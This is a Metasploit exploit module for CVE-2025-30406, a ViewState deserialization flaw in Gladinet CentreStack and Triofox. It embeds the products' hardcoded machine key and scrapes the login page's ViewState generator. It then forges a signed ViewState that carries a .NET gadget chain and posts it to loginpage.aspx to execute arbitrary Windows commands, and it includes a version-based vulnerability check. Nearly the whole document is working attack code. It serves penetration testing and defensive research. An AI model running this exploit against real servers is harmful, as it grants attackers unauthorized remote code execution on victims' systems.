📄 Gladinet CentreStack/Triofox ASP.NET ViewState Deserialization

# This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    
    require 'rex/exploit/view_state'
    
    class MetasploitModule < Msf::Exploit::Remote
    
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      # base64 encoded machine key
      MACHINE_KEY = 'NTQ5NjgzMjI0MkNDMzIyOEUyOTJFRUZGQ0RBMDg5MTQ5RDc4OUUwQzREN0MxQTVEMDJCQzU0MkY3QzYyNzlCRTlERDc3MEM5RURENUQ2N0M2NkI3RTYyMTQxMUQzRTU3RUExODFCQkY4OUZEMjE5NTdEQ0RERkFDRkQ5MjZFMTY='.freeze
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Gladinet CentreStack/Triofox ASP.NET ViewState Deserialization',
            'Description' => %q{
              A vulnerability in Gladinet CentreStack and Triofox application using hardcoded
              cryptographic keys for ViewState could allow an attacker to forge ViewState data.
              This can lead to unauthorized actions such as remote code execution.
              Both applications make use of a hardcoded machineKey in the IIS web.config file,
              which is responsible for securing ASP.NET ViewState data. If an attacker obtains
              the machineKey, they can forge ViewState payloads that pass integrity checks.
              This can result in ViewState deserialization attacks, potentially leading to
              remote code execution (RCE) on the web server.
    
              Gladinet CentreStack versions up to 16.4.10315.56368 are vulnerable (fixed in 16.4.10315.56368).
              Gladinet Triofox versions up to 16.4.10317.56372 are vulnerable (fixed in 16.4.10317.56372).
              NOTE: There are other rebranded services that might be vulnerable and can be detected by this module.
            },
            'Author' => [
              'Huntress Team', # discovery and detailed vulnerability write up
              'H00die Gr3y' # this metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2025-30406'],
              ['URL', 'https://www.huntress.com/blog/cve-2025-30406-critical-gladinet-centrestack-triofox-vulnerability-exploited-in-the-wild'],
              ['URL', 'https://attackerkb.com/topics/7ebXn71J6O/cve-2025-30406']
            ],
            'Platform' => 'win',
            'Targets' => [
              [
                'Windows Command',
                {
                  'Arch' => ARCH_CMD,
                  'Type' => :windows_command
                }
              ]
            ],
            'DefaultOptions' => {
              'RPORT' => 443,
              'SSL' => true
            },
            'DefaultTarget' => 0,
            'DisclosureDate' => '2025-04-03',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
              'Reliability' => [REPEATABLE_SESSION]
            },
            'Privileged' => false
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [ true, 'The base path to the Gladinet CentreStack or Triofox application', '/' ])
        ])
      end
    
      def execute_command(cmd, _opts = {})
        # get the __VIEWSTATEGENERATOR value from the vulnerable page
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'portal', 'loginpage.aspx')
        })
        unless res&.code == 200
          fail_with(Failure::UnexpectedReply, 'Non-200 HTTP response received while trying to get the __VIEWSTATEGENERATOR value.')
        end
    
        html = res.get_html_document
        if html
          # html identifier for the __VIEWSTATEGENERATOR: <input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="3FE2630A" />
          generator = html.css('input#__VIEWSTATEGENERATOR')[0]['value']
          viewstate_generator = [generator.to_i(16)].pack('V') unless generator.nil?
        else
          viewstate_generator = ['3FE2630A'.to_i(16)].pack('V')
        end
    
        output_format = 'raw'
        viewstate_validation_algorithm = 'SHA256'
        viewstate_validation_key = [Base64.strict_decode64(MACHINE_KEY)].pack('H*')
    
        serialized = ::Msf::Util::DotNetDeserialization.generate(
          cmd,
          gadget_chain: :TextFormattingRunProperties,
          formatter: :LosFormatter
        )
    
        serialized = Rex::Exploit::ViewState.generate_viewstate(
          serialized,
          extra: viewstate_generator,
          algo: viewstate_validation_algorithm,
          key: viewstate_validation_key
        )
        transformed = ::Msf::Simple::Buffer.transform(serialized, output_format)
        vprint_status(transformed.to_s)
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'portal', 'loginpage.aspx'),
          'vars_post' => {
            '__LASTFOCUS' => '',
            '__VIEWSTATE' => transformed.to_s
          }
        })
        unless res&.code == 302
          fail_with(Failure::UnexpectedReply, 'Non-302 HTTP response received while trying to execute the payload.')
        end
      end
    
      def check
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'portal', 'loginpage.aspx')
        })
        return CheckCode::Safe('Failed to identify that Gladinet CentreStack/Triofox or similar service is running.') unless res&.code == 200 && res.body.include?('id="__VIEWSTATEGENERATOR" value="3FE2630A"')
    
        if res.body.include?('CentreStack')
          check_app = 'CentreStack'
        elsif res.body.include?('Triofox')
          check_app = 'Triofox'
        else
          check_app = 'Unknown'
        end
    
        build = res.body.match(/\(Build\s*.*\)/)
        unless build.nil?
          version = build[0].gsub(/[[:space:]]/, '').split('Build')[1].chomp(')')
          rex_version = Rex::Version.new(version)
          if check_app == 'CentreStack'
            return CheckCode::Appears("Service #{check_app} (Build #{version})") if rex_version < Rex::Version.new('16.4.10315.56368')
          elsif check_app == 'Triofox'
            return CheckCode::Appears("Service #{check_app} (Build #{version})") if rex_version < Rex::Version.new('16.4.10317.56372')
          elsif check_app == 'Unknown'
            return CheckCode::Detected("Service #{check_app} (Build #{version})") if rex_version < Rex::Version.new('16.4.10317.56372')
          end
          return CheckCode::Safe("Service #{check_app} (Build #{version})")
        end
    
        CheckCode::Detected("Service #{check_app} (Build not detected)")
      end
    
      def exploit
        print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
        execute_command(payload.encoded)
      end
    end